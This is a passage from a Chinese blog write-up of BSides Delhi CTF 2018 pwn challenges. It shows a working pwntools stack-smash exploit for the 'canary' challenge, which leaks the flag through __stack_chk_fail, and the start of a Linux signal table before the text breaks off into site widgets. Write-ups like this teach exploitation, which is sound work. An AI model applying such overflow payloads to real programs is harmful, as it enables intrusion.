BSides Delhi CTF 2018部分pwn题题解

本文详细解析了BSides Delhi CTF 2018中的pwn题目,涉及canary、easypeasy和data_bank。在canary题目中,通过覆盖arg参数利用_stackchk_failed泄露flag。easypeasy题目的解决依赖于对Linux信号机制的理解,特别是sigalrm,通过调整信号处理函数实现shell获取。data_bank题目则展示了如何利用未初始化指针的使用不当进行UAF攻击,以及绕过PIE和RELRO保护的方法。
摘要由CSDN通过智能技术生成

本文后部分首发于先知社区

这个是一个比较基础的国际赛,做完之后的感觉就是其中有些题目很有价值,可以顺便补充一些信号机制、uaf使用的知识。

canary

这个题目比较简单,就是一个普通的stack smash并没有什么特别的,这里直接上解题思路了

解题思路

因为开启了canary,而且flag文件是加载到了bss段之中,所以可以利用_stackchk_failed函数进行一个flag的泄漏,泄漏方式就是覆盖arg参数,这个函数就会打印出我们想要的flag了(源码的分析可以参考ctfwiki,这里我就不做过多的分析了)

exp:

    from pwn import*
    p = process('./canary')
    context.log_level="debug"
    flag = 0x06010A0
    p.recv()
    payload = 'a'*0x178 + p64(flag)
    p.sendline(payload)
    p.interactive()

easypeasy

这是一道利用linux下信号机制的题目

linux下信号机制记录

SIGHUP 1 A 终端挂起或者控制进程终止
SIGINT 2 A 键盘中断(如break键被按下)
SIGQUIT 3 C 键盘的退出键被按下
SIGI
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值